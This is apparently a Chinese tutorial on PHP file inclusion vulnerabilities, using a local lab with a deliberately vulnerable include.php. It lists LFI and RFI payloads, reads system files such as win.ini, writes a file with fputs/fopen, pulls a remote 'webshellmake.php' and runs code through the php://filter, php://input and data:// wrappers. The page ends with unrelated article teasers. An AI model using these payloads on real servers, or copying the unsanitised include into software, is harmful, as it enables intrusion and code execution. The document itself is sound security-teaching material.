web-文件包含

news2024/11/23 22:11:10

产生原因:

    开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
实际上被包含文件可以是任意格式的,可以是图片、文本、源代码等等。只要文件被包含其内容也会被包含,并以当前服务器脚本语言执行。

典型特征:

变量的后面跟的是文件名或者url,就很可能又文件包含漏洞

    变量的值为一个页面:
        ?page=a.php
        ?home=b.html
        ?file=content



分类:(本地文件包含/远程文件包含)


本地文件包含(LFI):

    没有拼接字符串:
        ?filename=./www.txt
        ?filename=../www.txt
        ?filename=c:/windows/win.ini
        ?filename=webshellmake.php    //创建一个webshell
                 Fputs:file 规定要写入的打开文件
                       String 规定要写入文件的字符串
    有拼接字符串:
        ?filename=c:/windows/win.ini%00

include.php文件

<?php
    $filename=$_GET['filename'];
    include($filename);
?>

环境搭建

写一个include.php文件

 

实验

1.访问同一个文件夹的php

http://127.0.0.1/include/include.php/?filename=phpinfo.php

2.跨盘访问

http://127.0.0.1/include/include.php/?filename=C:\111222.txt
#或者
http://127.0.0.1/include/include.php/?filename=file://C:\111222.txt
#没有写file的话默认就是file

 3.利用fputs和fopen函数实行php文件生成

<?php fputs(fopen("shell.php",'w'),'<?pho phpinfo();?>')?>
#这里有一个要注意的是fopen后面一定要写上w(写入权限),不然phpinfo是写入不进去shell.php的
#fputs:前面指定文件名,后面写入要写入文件的字符串
#fopen:打开某个文件,如果没有的话就在本地进行创建

远程文件包含(RFI)

         远程文件包含(RFI) 一般 PHP 默认关闭远程包含,开启远程文件包含功能需要在 php.ini 中修改:

allow_url_include = on
allow_url_fopen = on


payload:
    ?filename=http://www.baidu.com/xx.php
       10.11.12.1/webshellmake.php

    ?filename=http://<IP>/webshellmake.php    //利用远程文件包含创建 webshell



php伪协议:PHP支持的封装协议

file://:访问本地文件系统

    ?filename=file://C:\Windows\win.ini


解释:用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
不加默认是file



php://filter:访问各个输入输出流

?filename=php://filter/read=convert.base64-encode/resource=webshellmake.php


解释:一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。


php://input

?filename=php://input    【POST DATA】    <?php phpinfo();?>

解释:php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
 

注意:

①php://input与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-data的数据

②multipart/form-data:指定传输数据为二进制类型,比如图片、mp3、文件。

为什么可以直接执行php代码?
        自定义写入php代码,再当前页面下执行PHP代码   因为前面是php文件,所以可以执行后面的php语句。要是后面是asp代码就不行了
        再post请求的请求体中进行传递php代码


data://:数据

    ?filename=data://text/plain,<?php%20phpinfo();?>
    ?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
解释:数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。  具体的符号要url编码,不然对方识别不到
再get请求中直接传递php代码,并且可以进行base64加密
再get中进行base64加密之后,要把base64中的符号进行url编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/795377.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构】带你轻松拿捏顺序表(内附源码)

君兮_的个人主页 勤时当勉励 岁月不待人 C/C 游戏开发 Hello,米娜桑们&#xff0c;这里是君兮_&#xff0c;今天正式开始开新坑啦&#xff01;在接下来的这一个月来我会逐步带大家了解初阶数据结构的知识&#xff0c;如果是你主修的是计算机专业数据结构的重要性不言而喻&…

深度学习论文: Q-YOLO: Efficient Inference for Real-time Object Detection及其PyTorch实现

深度学习论文: Q-YOLO: Efficient Inference for Real-time Object Detection及其PyTorch实现 Q-YOLO: Efficient Inference for Real-time Object Detection PDF: https://arxiv.org/pdf/2307.04816.pdf PyTorch代码: https://github.com/shanglianlm0525/CvPytorch PyTorch代…

LeetCode 918. Maximum Sum Circular Subarray【数组,动态规划】中等

本文属于「征服LeetCode」系列文章之一&#xff0c;这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁&#xff0c;本系列将至少持续到刷完所有无锁题之日为止&#xff1b;由于LeetCode还在不断地创建新题&#xff0c;本系列的终止日期可能是永远。在这一系列刷题文章…

215.数组中的第K个最大元素-C++

题目来源&#xff1a;力扣 题目描述&#xff1a; 给定整数数组 nums 和整数 k&#xff0c;请返回数组中第 k 个最大的元素。 请注意&#xff0c;你需要找的是数组排序后的第 k 个最大的元素&#xff0c;而不是第 k 个不同的元素。 你必须设计并实现时间复杂度为 O(n) 的算法…

Java书签 #解锁MyBatis的4种批量插入方式及ID返回姿势

1. 今日书签 项目开发中&#xff0c;我们经常会用到单条插入和批量插入。但是实际情况可能是&#xff0c;项目初期由于种种原因&#xff0c;在业务各处直接使用单条插入SQL进行开发&#xff08;未开启批处理&#xff09;&#xff0c;在后面的迭代中&#xff0c;系统性能问题渐…

Spring Boot 集成 Redis 三种模式实践汇总

背景 项目的某个模块集成了 SpringBoot Redis 包&#xff0c;客户端使用 Lettuce&#xff0c;Redis 测试环境单机模式。但是现场反馈的 Redis 环境是集群&#xff0c;如果简单的修改 spring.redis 配置为集群的配置信息&#xff0c;程序能否能无缝衔接呢&#xff1f; 本文记录…

Android Studio 的版本控制Git

Android Studio 的版本控制Git。 Git 是最流行的版本控制工具&#xff0c;本文介绍其在安卓开发环境Android Studio下的使用。 本文参考链接是&#xff1a;https://learntodroid.com/how-to-use-git-and-github-in-android-studio/ 一&#xff1a;Android Studio 中设置Git …

智安网络|实现数据安全:探索数据动态脱敏的落地策略

在当今数字化时代&#xff0c;数据安全成为企业和组织管理中的头等大事。然而&#xff0c;数据共享和数据大规模处理的需求也日益增长&#xff0c;这就需要在数据传输和存储过程中采取措施来保护用户的隐私。数据动态脱敏技术应运而生&#xff0c;为解决数据隐私和保护的问题提…

【雕爷学编程】Arduino动手做(93)--- 0.96寸OLED液晶屏模块3

37款传感器与执行器的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止这37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&am…

Doris(二) -通过外部表同步数据

前言 参考网址 1.官网 2.ODBC External Table Of Doris 3.Apache doris ODBC外表使用方式 第一步 创建 RESOURCE DROP RESOURCE IF EXISTS mysql_test_odbc; CREATE EXTERNAL RESOURCE mysql_test_odbc PROPERTIES ( "type" "odbc_catalog", "…

《JeecgBoot系列》 表单实现指定列导出Excel“合并单元格“

表单"合计"列导出Excel合并单元格 注解&#xff1a; Excel 参数&#xff1a;mergeVertical&#xff0c;参数设置为Boolean类型&#xff0c;默认为false。当设置为true时&#xff0c;可以纵向合并内容相同的单元格 1.需求 介绍&#xff1a;每个类别下有多个型号&…

linux免交互

免交互 指不需要人为控制就可以完成的自动化操作。 shell脚本和免交互是一个概念&#xff0c;但是有两种写法。shell脚本基于bash。 here Document 免交互 它是一种标准输入&#xff0c;只能接收正确的命令&#xff0c;它主要是使用i/o重定向的方式将命令的列表提供给交互式…

BFS()

目录 多源BFS 矩阵距离 最小步数模型 魔板 八数码 双端队列广搜 电路维修 双向广搜 字串变换 A* 第K短路 多源BFS 单源BFS是求一个点到起点的最短距离 多源BFS是求有很多个起点&#xff0c;某一点到离它最近一个起点的距离 矩阵距离 给定一个 N 行M 列的 01矩阵…

【每日一题】—— C. Tiles Comeback (Codeforces Round 888 (Div. 3))

&#x1f30f;博客主页&#xff1a;PH_modest的博客主页 &#x1f6a9;当前专栏&#xff1a;每日一题 &#x1f48c;其他专栏&#xff1a; &#x1f534; 每日反刍 &#x1f7e1; C跬步积累 &#x1f7e2; C语言跬步积累 &#x1f308;座右铭&#xff1a;广积粮&#xff0c;缓称…

FTP客户端登录报错:Login failed

FTP客户端登录报错&#xff1a;Login failed 是selinux的问题&#xff0c;一般用户无法登录用户主目录 [rootchenshuyi ~]# setsebool -P tftp_home_dir 1

Filebeat学习笔记

Filebeat基本概念 简介 Filebeat是一种轻量级日志采集器&#xff0c;内置有多种模块&#xff08;auditd、Apache、Nginx、System、MySQL等&#xff09;&#xff0c;针对常见格式的日志大大简化收集、解析和可视化过程&#xff0c;只需一条命令即可。之所以能实现这一点&#…

【Go语言】Golang保姆级入门教程 Go初学者介绍chapter1

Golang 开山篇 Golang的学习方向 区块链研发工程师&#xff1a; 去中心化 虚拟货币 金融 Go服务器端、游戏软件工程师 &#xff1a; C C 处理日志 数据打包 文件系统 数据处理 很厉害 处理大并发 Golang分布式、云计算软件工程师&#xff1a;盛大云 cdn 京东 消息推送 分布式文…

集睿致远推出CS5466多功能拓展坞方案:支持DP1.4、HDMI2.1视频8K输出

ASL新推出的 CS5466是一款Type-C/DP1.4转HDMI2.1的显示协议转换芯片,&#xff0c;它通过类型C/显示端口链路接收视频和音 频流&#xff0c;并转换为支持TMDS或FRL输出信令。DP接收器支持81.Gbp s链路速率。HDMI输出端口可以作为TMDS或FRL发射机工作。FRL发射机符合HDMI 2.1规范…

08综合评价作业

某核心企业需要在6个待选的零部件供应商中选择一个合作伙伴&#xff0c;各待选供应商有关数据如表1所列&#xff0c;试从中选择一个最优供应商(理想解法) 评价指标产品质量产品价格/元地理位置/km售后服务/h技术水平经济效益供应能力/件市场影响度交货情况10.83326213.20.20.1…

Emacs之实现鼠标/键盘选中即拷贝外界内容(一百二十)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…